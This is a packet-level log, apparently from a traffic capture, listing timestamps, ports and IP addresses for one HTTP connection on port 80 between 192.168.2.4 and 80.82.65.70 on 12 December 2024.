Dec 12, 2024 23:09:04.970515013 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.095856905 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.095875978 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.095943928 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.096930027 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.096981049 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.097404957 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.097417116 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.097453117 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.097471952 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.099837065 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.099885941 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.099895000 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.099937916 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.102431059 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.102442980 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.102490902 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.104959965 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.104974031 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.105006933 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.105037928 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.107242107 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.107295990 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.107351065 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.109746933 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.109757900 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.109813929 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.112158060 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.112169027 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.112199068 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.112241983 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.114494085 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.114703894 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.114747047 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.117078066 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.117090940 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.117134094 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.119503975 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.119517088 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.119555950 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.121973038 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.121984959 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.122040033 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.124491930 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.124504089 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.124560118 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.126923084 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.126934052 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.126985073 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.129426003 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.129436970 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.129498005 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.132112026 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.132122993 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.132180929 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.134403944 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.134414911 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.134493113 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.134493113 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.136718035 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.136729956 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.136760950 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.136779070 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.139204025 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.139215946 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.139256001 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.141772032 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.141782045 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.141855955 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.141899109 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.144215107 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.144224882 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.144294977 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.146689892 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.146699905 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.146738052 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.146783113 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.149029016 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.149039984 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.149084091 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.151453972 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.151464939 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.151521921 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.153983116 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.153995991 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.154129028 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.156305075 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.156316042 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.156372070 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.158952951 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.158968925 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.159024954 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.159054041 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.161310911 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.161322117 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.161401987 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.163825989 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.163837910 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.163893938 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.166207075 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.166218996 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.166260958 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.168669939 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.168682098 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.168735027 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.171171904 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.171184063 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.171248913 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.173616886 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.173629999 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.173681974 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.176059961 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.176074982 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.176141977 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.178719997 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.178731918 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.178775072 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.180934906 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.180991888 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.215993881 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.336007118 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.948359013 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.948373079 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.948430061 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.949512005 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.949522972 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.949582100 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.951301098 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.951311111 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.951340914 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.951354980 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.951386929 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.952835083 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.952843904 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.952888966 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.952915907 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.952950001 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.955070972 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.955082893 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.955131054 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.957051039 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.957061052 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.957107067 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.959378004 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.959388018 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.959420919 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.960954905 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.960964918 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.960994959 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.961009979 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.962867022 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.962915897 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.964865923 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.964875937 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.964911938 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.965065956 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.965100050 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.967015982 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.967025042 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.967052937 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.967081070 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.969044924 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.969054937 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.969082117 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.969098091 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.971039057 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.971050024 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.971074104 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.971092939 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.973186016 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.973197937 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.973243952 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.975218058 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.975229979 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.975265026 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.975297928 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.977108955 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.977121115 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.977164030 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.979135036 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.979146957 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.979182959 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.979221106 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.981128931 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.981141090 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.981173038 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.983321905 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.983334064 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.983370066 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.983386040 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.985151052 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.985162020 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.985196114 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.987054110 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.987109900 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.987358093 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.987401009 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.989247084 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.989258051 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.989293098 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.989308119 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.991225958 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.991236925 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.991275072 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.991296053 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.993235111 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.993246078 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.993284941 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.995228052 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.995239019 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.995265007 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.995296001 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.997251034 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.997262955 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.997302055 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:05.999373913 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:05.999442101 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.025834084 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.025875092 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.025902987 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.026932001 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.026962042 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.026981115 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.026997089 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.027031898 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.028857946 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.028893948 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.029597044 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.029634953 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.029771090 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.029805899 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.031655073 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.031697035 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.031888008 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.031929970 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.033998966 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.034043074 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.034109116 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.034145117 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.035686970 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.035737038 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.035788059 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.035830021 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.037692070 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.037731886 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.037803888 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.037842989 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.039649963 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.039694071 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.039761066 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.039798975 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.041654110 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.041697025 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.041882038 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.041918039 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.043667078 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.043701887 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.043852091 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.043891907 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.045674086 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.045712948 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.045797110 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.045893908 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.047738075 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.047786951 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.047888041 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.047925949 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.049762964 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.049814939 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.049885988 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.049925089 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.051762104 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.051805973 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.051839113 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.051871061 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.053772926 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.053833961 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.053886890 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.053927898 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.055879116 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.055948973 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.056025028 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.056076050 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.057873011 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.057914972 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.057984114 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.058022022 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.059854031 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.059900045 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.060034037 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.060069084 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.061836004 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.061881065 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.061914921 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.061952114 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.063848019 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.063909054 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.063946009 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.063988924 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.065857887 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.065901041 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.065913916 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.065942049 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.068003893 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.068046093 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.068084002 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.068119049 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.069894075 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.069936037 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.070070028 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.070108891 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.071940899 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.071981907 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.072112083 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.072146893 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.073888063 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.073934078 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.073936939 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.073982000 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.075947046 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.076006889 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.076026917 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.076056957 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.077961922 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.078011990 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.078111887 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.078154087 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.079936981 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.079982042 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.080144882 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.080184937 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.081986904 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.082112074 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.082197905 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.082240105 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.140625954 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.140644073 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.140786886 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.141321898 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.141382933 CET	49744	80	192.168.2.4	80.82.65.70
